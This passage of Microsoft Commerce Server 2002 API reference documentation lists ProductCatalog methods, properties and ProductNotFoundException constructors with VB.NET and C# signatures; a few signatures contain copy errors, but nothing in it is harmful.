) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetCatalogAttributes(
);

Return Value

A DataSet containing a single DataTable with the catalog attribute data.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetCategory (String) Method (BCL)

Use this method to retrieve a Category object from the catalog.

Definition

[Visual Basic .NET]
Overridable Public Function GetCategory( _
  ByVal categoryName As System.String _
) As Category
[C#]
public virtual Category GetCategory(
  System.String categoryName
);

Parameters

[Visual Basic .NET]
categoryName
The identifier of the category to return. A null value indicates to return the root category.
[C#]
categoryName
The identifier of the category to return. A null value indicates to return the root category.

Return Value

The Category object.

Remarks

When used in the context of the Commerce Server 2002 .NET Application Framework, a Category object is valid only for the request on which it was created. It will be automatically disposed in the OnEndRequest handler.

Throws a CategoryNotFoundException if the category does not exist in the catalog.

Throws a CatalogException if there is a failure in the COM layer.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetProduct (String) Method (BCL)

Use this method to retrieve a Product object from the catalog.

Definition

[Visual Basic .NET]
Overridable Public Function GetProduct( _
  ByVal productId As System.String _
) As Product
[C#]
public virtual Product GetProduct(
  System.String productId
);

Parameters

[Visual Basic .NET]
productId

The identifier of the product to return. May not be null.
[C#]
productId

The identifier of the product to return. May not be null.

Return Value

The Product object.

Remarks

When used in the context of the Commerce Server 2002 .NET Application Framework, a Product object is valid only for the request on which it was created. It will be automatically disposed in the OnEndRequest handler.

Throws an ArgumentNullException if the catalogContext parameter is null.

Throws a ProductNotFoundException if the product does not exist in the catalog.

Throws a CatalogException if there is a failure in the COM layer.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetProductVariant (String, String) Method (BCL)

Use this method to retrieve the information for a product variant.

Definition

[Visual Basic .NET]
Overridable Public Function GetProductVariant( _
  ByVal productId As System.String, _
  ByVal variantId As System.String _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetProductVariant(
  System.String productId,
  System.String variantId
);

Parameters

[Visual Basic .NET]
productId
The product ID. May not be null.
variantId
The variant ID. May not be null.
[C#]
productId
The product ID. May not be null.
variantId
The variant ID. May not be null.

Return Value

A DataSet containing a single DataTable with the product variant properties.

Remarks

Throws a CatalogException on failure.

Throws an ArgumentNullException if either parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetRootCategories Method (BCL)

Use this method to return all properties for the root categories in this catalog.

Definition

[Visual Basic .NET]
Overridable Public Function GetRootCategories( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRootCategories(
);

Return Value

A DataSet with a single DataTable containing the category information.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetRootCategories (CatalogSearchOptions) Method (BCL)

Use this method to get the root categories in the catalog and return the results according to the searchOptions parameter.

Definition

[Visual Basic .NET]
Overridable Public Function GetRootCategories( _
  ByVal searchOptions As CatalogSearchOptions _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRootCategories(
  CatalogSearchOptions searchOptions
);

Parameters

[Visual Basic .NET]
searchOptions
The CatalogSearchOptions object. May be null.
[C#]
searchOptions
The CatalogSearchOptions object. May be null.

Return Value

A DataSet with a single DataTable containing the root products.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetRootCategories (CatalogSearchOptions, Int32) Method (BCL)

Use this method to return the properties of the root categories of this catalog and return results according to the searchOptions parameter, and to return the total number of root products in the catalog in the totalRecords parameter.

Definition

[Visual Basic .NET]
Overridable Public Function GetRootCategories( _
  ByVal searchOptions As CatalogSearchOptions, _
  ByRef totalRecords As System.Int32 _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRootCategories(
  CatalogSearchOptions searchOptions,
  out System.Int32 totalRecords
);

Parameters

[Visual Basic .NET]
searchOptions
The CatalogSearchOptions object. May be null.
totalRecords
The total number of root products.
[C#]
searchOptions
The CatalogSearchOptions object. May be null.
totalRecords
The total number of root products.

Return Value

A DataSet with a single DataTable containing the root categories.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetRootProducts Method (BCL)

Use this method to get all the root products in the catalog and return all of the properties for those products.

Definition

[Visual Basic .NET]
Overridable Public Function GetRootProducts( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRootProducts(
);

Return Value

A DataSet with a single DataTable containing the root products.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetRootProducts (CatalogSearchOptions) Method (BCL)

Use this method to get the root products in the catalog and return the results according to the searchOptions parameter.

Definition

[Visual Basic .NET]
Overridable Public Function GetRootProducts( _
  ByVal searchOptions As CatalogSearchOptions _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRootProducts(
  CatalogSearchOptions searchOptions
);

Parameters

[Visual Basic .NET]
searchOptions
The CatalogSearchOptions object. May be null.
[C#]
searchOptions
The CatalogSearchOptions object. May be null.

Return Value

A DataSet with a single DataTable containing the root products.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetRootProducts (CatalogSearchOptions, Int32) Method (BCL)

Use this method to get the root products in the catalog and return the results according to the searchOptions parameter, and to return the total number of root products in the catalog in the totalRecords parameter.

Definition

[Visual Basic .NET]
Overridable Public Function GetRootProducts( _
  ByVal searchOptions As CatalogSearchOptions, _
  ByRef totalRecords As System.Int32 _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRootProducts(
  CatalogSearchOptions searchOptions,
  out System.Int32 totalRecords
);

Parameters

[Visual Basic .NET]
searchOptions
The CatalogSearchOptions object. May be null.
totalRecords
The total number of root products.
[C#]
searchOptions
The CatalogSearchOptions object. May be null.
totalRecords
The total number of root products.

Return Value

A DataSet with a single DataTable containing the root products.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetSpecificationSearchClauses (String) Method (BCL)

Use this method to get the array of specification search clauses represented by the specification search handle.

Definition

[Visual Basic .NET]
Overridable Public Function GetSpecificationSearchClauses( _
  ByVal searchHandle As System.String _
) As System.String[]
[C#]
public virtual System.String[] GetSpecificationSearchClauses(
  System.String searchHandle
);

Parameters

[Visual Basic .NET]
searchHandle
The specification search handle. May not be null.
[C#]
searchHandle
The specification search handle. May not be null.

Return Value

An array of strings containing the specification search clauses.

Remarks

Throws an ArgumentNullException if the catalogContext parameter is null.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GuaranteedSpecificationSearch (String, SpecificationSearchPropertyResult[]) Method (BCL)

Use this method to perform a specification search guaranteed to return results if any products exist in the category being searched. The updated property values are returned through the propertyValues parameter.

Definition

[Visual Basic .NET]
Overridable Public Function GuaranteedSpecificationSearch( _
  ByVal searchHandle As System.String, _
  ByRef propertyValues As Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] _
) As System.Data.DataSet
[C#]
public virtual DataSet GuaranteedSpecificationSearch(ref
  String searchHandle,
  out Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] propertyValues
);

Parameters

[Visual Basic .NET]
searchHandle
The search handle, updated on output. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
[C#]
searchHandle
The search handle, updated on output. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.

Return Value

A DataSet with a single DataTable containing the search results.

Remarks

Tje GuaranteedSpecificationSearch method removes search clauses from the handle one at a time until some results are returned.

Throws a CatalogException on failure.

Throws an ArgumentNullException if the catalogContext parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GuaranteedSpecificationSearch (String, SpecificationSearchPropertyResult[], CatalogSearchOptions) Method (BCL)

Use this method to perform a specification search guaranteed to return results if any products exist in the category being searched. The updated property values are returned through the propertyValues parameter. The searchOptions parameter can be used to determine which class of catalog objects to return, the list of properties to return, and the number of records wanted.

Definition

[Visual Basic .NET]
Overridable Public Function GuaranteedSpecificationSearch( _
  ByVal searchHandle As System.String, _
  ByRef propertyValues As Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[], _
  ByVal searchOptions As CatalogSearchOptions _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GuaranteedSpecificationSearch(
  System.String searchHandle,
  out Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] propertyValues,
  CatalogSearchOptions searchOptions
);

Parameters

[Visual Basic .NET]
searchHandle
The search handle, updated on output. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
searchOptions
The CatalogSearchOptions object specifying how results should be returned. May be null.
[C#]
searchHandle
The search handle, updated on output. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
searchOptions
The CatalogSearchOptions object specifying how results should be returned. May be null.

Return Value

A DataSet with a single DataTable containing the search results.

Remarks

The GuaranteedSpecificationSearch method removes search clauses from the handle one at a time until some results are returned.

Throws a CatalogException on failure.

Throws an ArgumentNullException if the catalogContext parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GuaranteedSpecificationSearch (String, SpecificationSearchPropertyResult[], CatalogSearchOptions, Int32) Method (BCL)

Use this method to perform a specification search guaranteed to return results if any products exist in the category being searched. The updated property values are returned through the propertyValues parameter. The searchOptions parameter can be used to determine which class of catalog objects to return, the list of properties to return, and the number of records wanted. The total number of matching records is returned through the totalRecords parameter.

Definition

[Visual Basic .NET]
Overridable Public Function GuaranteedSpecificationSearch( _
  ByVal searchHandle As System.String, _
  ByRef propertyValues As Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[], _
  ByVal searchOptions As CatalogSearchOptions, _
  ByRef totalRecords As System.Int32 _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GuaranteedSpecificationSearch(
  System.String searchHandle,
  out Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] propertyValues,
  CatalogSearchOptions searchOptions,
  out System.Int32 totalRecords
);

Parameters

[Visual Basic .NET]
searchHandle
The search handle, updated on output. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
searchOptions
The CatalogSearchOptions objectspecifying how results should be returned. May be null.
totalRecords
The total number of matching records.
[C#]
searchHandle
The search handle, updated on output. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
searchOptions
The CatalogSearchOptions object specifying how results should be returned. May be null.
totalRecords
The total number of matching records.

Return Value

A DataSet with a single DataTable containing the search results.

Remarks

The GuaranteedSpecificationSearch method removes search clauses from the handle one at a time until some results are returned.

Throws a CatalogException on failure.

Throws an ArgumentNullException if the catalogContext parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.PerformSpecificationSearch (String, SpecificationSearchPropertyResult[]) Method (BCL)

Use this method to perform a specification search and return the matching results. The updated property values are returned via the propertyValues parameter.

Definition

[Visual Basic .NET]
Overridable Public Function PerformSpecificationSearch( _
  ByVal searchHandle As System.String, _
  ByRef propertyValues As Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet PerformSpecificationSearch(
  System.String searchHandle,
  out Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] propertyValues
);

Parameters

[Visual Basic .NET]
searchHandle
The search handle. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
[C#]
searchHandle
The search handle. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.

Return Value

A DataSet with a single DataTable containing the search results.

Remarks

Throws a CatalogException on failure.

Throws an ArgumentNullException if the catalogContext parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.PerformSpecificationSearch (String, SpecificationSearchPropertyResult[], CatalogSearchOptions) Method (BCL)

Use this method to perform a specification search and return the matching results. The updated property values are returned through the propertyValues parameter. The searchOptions parameter can be used to determine which class of catalog objects to return, the list of properties to return, and the number of records required.

Definition

[Visual Basic .NET]
Overridable Public Function PerformSpecificationSearch( _
  ByVal searchHandle As System.String, _
  ByRef propertyValues As Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[], _
  ByVal searchOptions As CatalogSearchOptions _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet PerformSpecificationSearch(
  System.String searchHandle,
  out Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] propertyValues,
  CatalogSearchOptions searchOptions
);

Parameters

[Visual Basic .NET]
searchHandle
The search handle. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
searchOptions
The CatalogSearchOptions object specifying how results should be returned. May be null.
[C#]
searchHandle
The search handle. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
searchOptions
The CatalogSearchOptions object specifying how results should be returned. May be null.

Return Value

A DataSet with a single DataTable containing the search results.

Remarks

Throws a CatalogException on failure.

Throws an ArgumentNullException if the catalogContext parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.PerformSpecificationSearch (String, SpecificationSearchPropertyResult[], CatalogSearchOptions, Int32) Method (BCL)

Use this method to perform a specification search and return the matching results. The updated property values are returned through the totalRecords parameter. The searchOptions parameter can be used to determine which class of catalog objects to return, the list of properties to return, and the number of records wanted. The total number of matching records is returned through the totalRecords parameter.

Definition

[Visual Basic .NET]
Overridable Public Function PerformSpecificationSearch( _
  ByVal searchHandle As System.String, _
  ByRef propertyValues As Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[], _
  ByVal searchOptions As CatalogSearchOptions, _
  ByRef totalRecords As System.Int32 _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet PerformSpecificationSearch(
  System.String searchHandle,
  out Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] propertyValues,
  CatalogSearchOptions searchOptions,
  out System.Int32 totalRecords
);

Parameters

[Visual Basic .NET]
searchHandle
The search handle. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
searchOptions
The CatalogSearchOptions object specifying how results should be returned. May be null.
totalRecords
The total number of matching records.
[C#]
searchHandle
The search handle. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
searchOptions
The CatalogSearchOptions object specifying how results should be returned. May be null.
totalRecords
The total number of matching records.

Return Value

A DataSet with a single DataTable containing the search results

Remarks

Throws a CatalogException on failure.

Throws an ArgumentNullException if the catalogContext parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.RemoveSpecificationSearchClause (String) Method (BCL)

Use this method to remove the last specification search clause from the search handle.

Definition

[Visual Basic .NET]
Overridable Public Function RemoveSpecificationSearchClause( _
  ByVal searchHandle As System.String _
) As System.String
[C#]
public virtual System.String RemoveSpecificationSearchClause(
  System.String searchHandle
);

Parameters

[Visual Basic .NET]
searchHandle
The specification search handle. Updated on output. May not be null.
[C#]
searchHandle
The specification search handle. Updated on output. May not be null.

Return Value

A string containing the clause that was removed.

Remarks

Throws an ArgumentNullException if the catalogContext parameter is null.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog Properties (BCL)

Public Instance Properties

Property | Description
ActiveLanguage | Gets the language in which data returned by this catalog object should be returned.
CatalogContext | Gets the CatalogContext object that was used to create this ProductCatalog object.
DebugContext | Gets the DebugContext object for the CatalogContext object that was used to create this ProductCatalog object.
DefaultLanguage | Gets the default language for this catalog.
IdentifyingProductProperty | Gets the name of the property that identifies products in this catalog.
IdentifyingVariantProperty | Gets the name of the property that identifies variants in this catalog.
Languages | Gets all of the available languages for this catalog as an array of strings.
Name | Gets the name of the catalog.
PropertyNames | Gets the names of all properties defined for the catalog.
SpecificationSearchableCategories | Gets the list of property names for properties that are searchable by the SpecificationSearch objects.


ProductCatalog.ActiveLanguage Property (BCL)

The ActiveLanguage property gets the language in which the data returned by this catalog object should be returned.

Definition

[Visual Basic .NET]
Overridable Public Property ActiveLanguage As System.String
[C#]
public virtual System.String ActiveLanguage {get; set;}

Property Value

Language in which in which data returned by this catalog object should be returned.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.CatalogContext Property (BCL)

The CatalogContext property gets the CatalogContext object that was used to create this ProductCatalog object.

Definition

[Visual Basic .NET]
Public ReadOnly Property CatalogContext As CatalogContext
[C#]
public CatalogContext CatalogContext {get;}

Property Value

CatalogContext object that was used to create this ProductCatalog object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.DebugContext Property (BCL)

The DebugContext property gets the DebugContext object for the CatalogContext object that was used to create this ProductCatalog object.

Definition

[Visual Basic .NET]
Public ReadOnly Property DebugContext As DebugContext
[C#]
public DebugContext DebugContext {get;}

Property Value

The DebugContext object for the CatalogContext object that was used to create this ProductCatalog object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.DefaultLanguage Property (BCL)

The DefaultLanguage property gets the default language for this catalog.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property DefaultLanguage As System.String
[C#]
public virtual System.String DefaultLanguage {get;}

Property Value

The default language for this catalog.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.IdentifyingProductProperty Property (BCL)

The IdentifyingProductProperty property gets the name of the property that identifies products in this catalog.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IdentifyingProductProperty As System.String
[C#]
public virtual System.String IdentifyingProductProperty {get;}

Property Value

The name of the property that identifies products in this catalog.

Remarks

This data is cached. To refresh it, call the CatalogContext.Refresh method explicitly.

Throws a CatalogException on failure. This method caches the retrieved property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.IdentifyingVariantProperty Property (BCL)

The IdentifyingVariantProperty property gets the name of the property that identifies variants in this catalog .

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IdentifyingVariantProperty As System.String
[C#]
public virtual System.String IdentifyingVariantProperty {get;}

Property Value

The name of the property that identifies variants in this catalog .

Remarks

This data is cached. To refresh it, call the CatalogContext.Refresh method explicitly.

Throws a CatalogException on failure. Internally this uses the IProductCatalog3::IdentifyingVariantProperty method. This method caches the retrieved property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.Languages Property (BCL)

The Languages property gets all of the available languages for this catalog as an array of strings.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Languages As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection Languages {get;}

Property Value

Contains all of the available languages for this catalog as an array of strings.

Remarks

The list of languages is cached. To refresh it, call the CatalogContext.Refresh method explicitly.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.Name Property (BCL)

The Name property gets the name of the catalog.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

String containing name of the catalog.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.PropertyNames Property (BCL)

The PropertyNames property gets the names of all properties defined for the catalog.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property PropertyNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection PropertyNames {get;}

Property Value

ReadOnlyStringCollection containing all the names of all properties defined for the catalog.

Remarks

This data is cached. To refresh it, call the CatalogContext.Refresh method explicitly.

Throws a CatalogException on failure. This method caches the retrieved property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.SpecificationSearchableCategories Property (BCL)

The SpecificationSearchableCategories property gets the list of property names for properties that are searchable by the SpecificationSearch objects.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SpecificationSearchableCategories As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection SpecificationSearchableCategories {get;}

Property Value

ReadOnlyStringCollection containing the list of property names for properties that are searchable by the SpecificationSearch objects.

Remarks

This data is cached. To refresh it, call the CatalogContext.Refresh method explicitly.

This method caches the list of specification searchable categories.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductNotFoundException Class (BCL)

Exception of type ProductNotFoundException.

Public Instance Constructor

Constructor | Description
ProductNotFoundException Constructor | Creates a new instance of the ProductNotFoundException class.
ProductNotFoundException Constructor(String) | Creates a new instance of the ProductNotFoundException class with the specified message.
ProductNotFoundException Constructor(String, Exception) | Creates a new instance of the ProductNotFoundException class with the specified message and inner exception.
ProductNotFoundException Constructor(String, Object) | Creates a new instance of the ProductNotFoundException class with the specified catalog name and product ID.

Protected Instance Constructor

Constructor | Description
ProductNotFoundException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the ProductNotFoundException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
CatalogName | Gets the CatalogName.
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
ProductId | Gets the ProductId.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductNotFoundException Constructor (BCL)

Public Instance Constructor

Constructor | Description
ProductNotFoundException Constructor | Creates a new instance of the ProductNotFoundException class.
ProductNotFoundException Constructor(String) | Creates a new instance of the ProductNotFoundException class with the specified message.
ProductNotFoundException Constructor(String, Exception) | Creates a new instance of the ProductNotFoundException class with the specified message and inner exception.
ProductNotFoundException Constructor(String, Object) | Creates a new instance of the ProductNotFoundException class with the specified catalog name and product ID.

Protected Instance Constructor

Constructor | Description
ProductNotFoundException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the ProductNotFoundException class with the specified serialization information and streaming context.


ProductNotFoundException Constructor (BCL)

Use this method to create a new instance of the ProductNotFoundException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public ProductNotFoundException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductNotFoundException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the ProductNotFoundException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected ProductNotFoundException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductNotFoundException Constructor (String) (BCL)

Use this method to create a new instance of the ProductNotFoundException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public ProductNotFoundException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
A System.String containing the message to include in the ProductNotFoundException object.
[C#]
message
A System.String containing the message to include in the ProductNotFoundException object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductNotFoundException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the ProductNotFoundException object with the specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public ProductNotFoundSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
A System.String containing the message to include in the ProductNotFoundException object.
inner
The inner System.Exception object.
[C#]
message
A System.String containing the message to include in the ProductNotFoundException object.
inner
The inner System.Exception object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductNotFoundException Constructor (String, Object) (BCL)

Use this method to create a new instance of the ProductNotFoundException class with the specified catalog name and product ID.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal catalogName As System.String, _
  ByVal productId As System.Object _
)
[C#]
public ProductNotFoundException(
  System.String catalogName,
  System.Object productId
);

Parameters

[Visual Basic .NET]
catalogName
A System.String that contains the catalog name.
productId
The ProductId object.
[C#]
catalogName
A System.String that contains the catalog name.
productId
The ProductId object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductNotFoundException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


ProductNotFoundException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

